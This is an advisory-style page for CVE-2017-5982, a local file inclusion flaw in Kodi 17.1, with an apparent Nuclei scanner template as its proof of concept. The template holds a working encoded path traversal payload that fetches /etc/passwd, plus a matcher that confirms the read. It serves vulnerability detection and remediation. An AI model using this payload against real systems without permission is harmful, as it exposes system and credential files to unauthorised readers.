CVE-2017-5982: Kodi 17.1 - Local File Inclusion

2025-08-01 Kodi 17.1 PoC Public

Description

Kodi 17.1 is vulnerable to local file inclusion vulnerabilities because of insufficient validation of user input.

PoC

id: CVE-2017-5982

info:
  name: Kodi 17.1 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Kodi 17.1 is vulnerable to local file inclusion vulnerabilities because of insufficient validation of user input.
  impact: |
    Unauthenticated attackers can read arbitrary files on the system, potentially exposing sensitive information, credentials, and configuration files.
  remediation: |
    Upgrade Kodi to a version that is not affected by the CVE-2017-5982 vulnerability.
  reference:
    - https://cxsecurity.com/issue/WLB-2017020164
    - https://www.exploit-db.com/exploits/41312/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-5982
    - https://lists.debian.org/debian-lts-announce/2024/01/msg00009.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-5982
    cwe-id: CWE-22
    epss-score: 0.7763
    epss-percentile: 0.99539
    cpe: cpe:2.3:a:kodi:kodi:17.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: kodi
    product: kodi
  tags: cve2017,cve,kodi,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/image/image%3A%2F%2F%2e%2e%252fetc%252fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c91d25c8dd0b06ef281b8a90a99e119fccddd8f51f208752ecef5854b8f928ef022100a9293df58a88384a55754d390d97f36b12edd827dceec829b118f68e6804ccf2:922c64590222798bb761d5b6d8e72950

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